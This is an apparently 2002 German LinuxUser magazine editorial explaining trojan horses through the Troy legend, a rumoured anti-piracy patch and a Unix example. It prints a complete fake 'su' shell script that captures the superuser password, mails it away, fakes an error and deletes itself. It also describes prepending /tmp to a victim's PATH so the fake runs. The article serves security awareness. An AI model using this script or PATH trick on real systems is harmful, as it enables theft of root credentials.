Klepper in der Kiste

Volkers Editorial

01.05.2002
Sicherheit in der Informationstechnologie ist eine immer größere Forderung in allen Bereichen geworden, in denen Computer-Technologie angewendet wird. Der Bedrohung fremder Kräfte ist man allseits ausgesetzt und eine Sicherheitslücke kann schnell zu großem Schaden führen…

Letzten Monat war ich in der Troja-Ausstellung (manchmal auch "Troia") in Bonn (wer sich für die bronzezeitliche Geschichte interessiert, sollte auch weite Wege nicht scheuen, um sich so etwas anzuschauen, da auch eine interaktive Computerprojektion zu bestaunen ist (http://www2.kah-bonn.de/ausstellungen/troia/virtuell.htm). Das sicherlich bekannteste Stück der Geschichte im Kampf um Troja ist die des Trojanischen Pferdes, welche auch schnell erzählt ist: Nachdem sich die Achaier zehn Jahre an den Stadtmauern Trojas die Zähne ausgebissen hatten, ersann der listige Odysseus den Schachzug, sich von Epeios ein hölzernes Pferd erbauen zu lassen, in dessen Bauch sich die tapfersten der achaischen Krieger verbargen, während der Rest so tat, als hätte man genug von der ganzen Keilerei, in die Schiffe stieg und Richtung Heimat segelte. Die Trojaner betrachteten das Pferd als Weihegeschenk an die Göttin Athene und schafften den Hafermotor in ihre Stadt. In der Nacht hopsten dann die Helden aus dem Gaul, meldeten den eigenen Schiffen mit Feuersignalen umzukehren und öffneten von innen die Tore der Stadt, so dass die achaische Streitmacht in Troja eindringen und dieses vernichten konnte. Seither spricht man von einem trojanischen Pferd, wenn man eine Waffe hinter die gegnerischen Reihen bringt, um sich dadurch einen Vorteil zu verschaffen.

Natürlich hat dieser Begriff auch in der Computerwelt sein Analogon: Man spricht hier immer dann von einem trojanischen Pferd, wenn sich eine Software hinter den geschützten Reihen (z. B. eine Firewall) einnisten konnte oder sie dort absichtlich plaziert wurde, um Schäden anzurichten. Diese Schäden können vielfältig sein. Hat man Glück, wird man einfach nur ausspioniert; in schlimmeren Fällen wird das System durch Löschungen beschädigt oder sogar die Hardware beschädigt (herbeigeführte Plattencrashs). In meiner Studienzeit kursierte das Gerücht von dem sehr teuren CAD-Programm, das als gecrackte Version mehr Anwender fand als Originale verkauft werden konnten. Daraufhin hat sich die Entwicklerfirma folgendes trojanisches Pferd einfallen lassen: Sie stellte im Internet einen Patch bereit, der einen Fehler in der Software bereinigen sollte. In Wirklichkeit aber hat dieser Patch einfach nur kontrolliert, ob es sich bei der installierten Version um die gecrackte oder die richtige handelte. War es eine gekaufte, tat der Patch gar nichts, meldete aber, der Fehler sei behoben; war die Version allerdings gecrackt, erschien ein Fenster mit dem Hinweis, man könnte sich das Benutzerhandbuch umsonst schicken lassen. Wer sich das Handbuch also bestellte, hatte sich direkt bei der Firma als Besitzer einer gecrackten Version geoutet und auch noch Name und Adresse bekannt gegeben. Ups… Ob diese Geschichte wahr ist, habe ich nie herausgefunden; als sehr schönes Beispiel, wie Menschen mit einem trojanischen Pferd der Tag verdorben werden kann, dient es allemal.

Superuser

Dass es nicht immer ein Patch sein muss, der als trojanisches Pferd fungiert, sondern ein solches auch viel simpler gestrickt sein kann, zeigt folgendes Beispiel: Hier stellt das trojanische Pferd nicht - wie im Patch-Beispiel - ein neues eigenständiges Programm dar, sondern ersetzt ein bereits vorhandenes Programm durch eine anderes: in diesem Fall mit verheerenden Folgen, denn das Superuser-Passwort wird erspäht. Dazu legt der Angreifer dem Benutzer ein trojanisches Pferd wie in Kasten 1 in den Rechner:

Kasten 1: Das trojanische

su

-Script

# Echo der Tastatureingabe ausschalten, damit beim
# Eingeben des Passwortes dieses nicht auf dem Schirm
# erscheint.
#
stty -echo
# Die normale Passwortabfrage des su-Kommandos vorgaukeln
# Dabei das Kommando echo mit der Option -n benutzen,
# damit der Cursor nicht in die nächste Zeile rutscht.
#
echo -n "Passwort: "
# Eingabe des Passwortes lesen
#
read PAS
# Einen Zeilenvorschub erzeugen, genau wie
# es das su-Kommando macht.
#
echo ""
# Das Echo der Tastatur wieder einschalten
#
stty echo
# Jetzt wird das ergaunerte Passwort an eine
# Adresse weitergeschickt.
# Dabei wird das Kommando im Hintergrund abgeschickt
# (also mit dem & am Ende, damit das Script nicht
# darauf wartet, dass der Versand abgeschlossen ist,
# was zeitlich auffallen könnte).
#
echo $PAS | mail volker &
# Ein Zeitverzögerung simulieren, als wäre
# ein falsches Passwort eingegeben worden
#
sleep 4
# Die Meldung dazu noch auswerfen
#
echo "su: ungültiges Kennwort"
# Das trojanische Pferd hat seinen Dienst
# getan und vernichtet sich selbst
#
rm su

Das Script hat einige Eigenschaften eines trojanisches Pferdes: Es verhält sich so unauffällig, dass der Benutzer gar nicht merkt, dass er nicht das erwartete Programm eingesetzt hat - das trojanische Pferd verhält sich nach außen exakt so, wie man es vom richtigen su erwarten würde. So wird der Benutzer im Glauben gelassen, er hätte ein falsches Passwort eingegeben, obwohl es das richtige war (und die meisten Benutzer tippen auf Anhieb das korrekte Passwort ein - so wie bei trojanischen Zigarettenautomaten). Um seine Spuren zu verwischen, löscht sich das Script am Ende selbst, damit bei erneuter Ausführung des Kommandos das richtige su-Programm von Linux gestartet wird. Nun mag man sagen, dass einem ein Script mit dem Namen su im eigenen Heimatverzeichnis auffällt, aber auch hier gibt es Tricks: Das geschieht über das Umbiegen des Suchpfads für eingegebene Kommandos. Doch wie funktioniert das?

PATH - der Wegbereiter

Immer, wenn Sie aus der Kommandozeile heraus ein Programm starten, etwa in einem xterm, sucht die Shell in verschiedenen Verzeichnissen nach diesem Programm. Da Linux nicht ahnen kann, wo sich die ausführbare Datei zu diesem Kommando befindet, greift es für diese Suche auf die Umgebungsvariable $PATH zurück. In dieser Variablen stecken alle Verzeichnisse, in denen gesucht wird, und auch die Suchreihenfolge wird durch diese Variable bestimmt. $PATH wird in der Regel in der Datei .profile, .login oder .bashrc (je nach benutztem Shell-Typ) gesetzt und enthält verschiedene durch das Trennzeichen ":" separierte Suchpfade. Enthält die Variable $PATH also beispielsweise /usr/bin:/bin:/foo/myprogs, so wird zuerst /usr/bin, dann /bin und schließlich /foo/myprogs durchsucht. Eine Besonderheit liegt vor, wenn das Trennzeichen ganz zu Beginn, ganz am Ende oder zweimal hintereinander steht, dann gehört auch das aktuelle Verzeichnis, in dem man sich gerade befindet, zum Suchpfad.

Tabelle 1: Beispiele für Werte der PATH-Variablen

:/usr/bin:/usr Zuerst wird im aktuellen Verzeichnis gesucht
/usr/bin:/usr: Wurde sonst nirgendwo etwas gefunden, wird schließlich im aktuellen Verzeichnis gesucht
/usr/bin::/usr Das aktuelle Verzeichnis liegt mitten im Suchpfad

Will man also gar nicht erst das Risiko eingehen, dem Opfer das trojanische su-Script in sein Heimatverzeichnis zu legen, so kann man seine $PATH-Variable ändern - etwa durch Voranstellen von /tmp: - und danach das su-Script ins Verzeichnis /tmp stellen. Ruft das Opfer dann su auf, wird das su-Script im /tmp-Verzeichnis ausgeführt, weil das Betriebssystem - gesteuert über die PATH-Variable - dort zuerst fündig wird. Das su-Beispiel zeigt, wie einfach ein Angriff auf das System sein kann, wenn man sich ein trojanisches Pferd ins System holt. Dabei muss der Angriff nicht einmal so offensichtlich sein, wie im Beispiel. Stattdessen können ganze Programme (in die man nicht einmal reinschauen kann, weil sie die Anweisungen nicht im Klartext enthalten) infiziert sein. Dabei ist das Linux-System leider ganz besonders gefährdet, da die Sourcen offenliegen und somit für jeden Profi leicht veränderbar sind. Der Weg des trojanischen Pferds ins eigene System ist dabei einfacher als man glaubt, denn schon ein manipuliertes Programmpaket, das angeblich (oder tatsächlich) die neueste Mohrhuhn-Pinguin-Edition enthält, kann - aktiviert über den einfachen Installationsdreisatz - dem eigenen System großen Schaden zufügen. Leider werden Sourcen, Pakete und Bibliotheken von den meisten Benutzern in guter alter Klingonentradition installiert:

  • Ein echter Klingone macht keine Sicherheitskopien.
  • Ein echter Klingone testet nicht.

LinuxCommunity kaufen

Einzelne Ausgabe
 
Abonnements
 

Ähnliche Artikel

Kommentare

Infos zur Publikation

LU 11/2014: VIDEOS BEARBEITEN

Digitale Ausgabe: Preis € 4,95
(inkl. 19% MwSt.)

Mit der Zeitschrift LinuxUser sind Sie als Power-User, Shell-Guru oder Administrator im kleinen Unternehmen monatlich auf dem aktuelle Stand in Sachen Linux und Open Source.

Sie sind sich nicht sicher, ob die Themen Ihnen liegen? Im Probeabo erhalten Sie drei Ausgaben zum reduzierten Preis. Einzelhefte, Abonnements sowie digitale Ausgaben erwerben Sie ganz einfach in unserem Online-Shop.

NEU: DIGITALE AUSGABEN FÜR TABLET & SMARTPHONE

HINWEIS ZU PAYPAL: Die Zahlung ist auch ohne eigenes Paypal-Konto ganz einfach per Kreditkarte oder Lastschrift möglich!       

Tipp der Woche

Schnell Multi-Boot-Medien mit MultiCD erstellen
Schnell Multi-Boot-Medien mit MultiCD erstellen
Tim Schürmann, 24.06.2014 12:40, 0 Kommentare

Wer mehrere nützliche Live-Systeme auf eine DVD brennen möchte, kommt mit den Startmedienerstellern der Distributionen nicht besonders weit: Diese ...

Aktuelle Fragen

WLAN-Signalqualität vom Treiber abhängig
GoaSkin , 29.10.2014 14:16, 0 Antworten
Hallo, für einen WLAN-Stick mit Ralink 2870 Chipsatz gibt es einen Treiber von Ralink sowie (m...
Artikelsuche
Erwin Ruitenberg, 09.10.2014 07:51, 1 Antworten
Ich habe seit einige Jahre ein Dugisub LinuxUser. Dann weiß ich das irgendwann ein bestimmtes Art...
Windows 8 startet nur mit externer Festplatte
Anne La, 10.09.2014 17:25, 6 Antworten
Hallo Leute, also, ich bin auf folgendes Problem gestoßen: Ich habe Ubuntu 14.04 auf meiner...
Videoüberwachung mit Zoneminder
Heinz Becker, 10.08.2014 17:57, 0 Antworten
Hallo, ich habe den ZONEMINDER erfolgreich installiert. Das Bild erscheint jedoch nicht,...
internes Wlan und USB-Wlan-Srick
Gerhard Blobner, 04.08.2014 15:20, 2 Antworten
Hallo Linux-Forum: ich bin ein neuer Linux-User (ca. 25 Jahre Windows) und bin von WIN 8 auf Mint...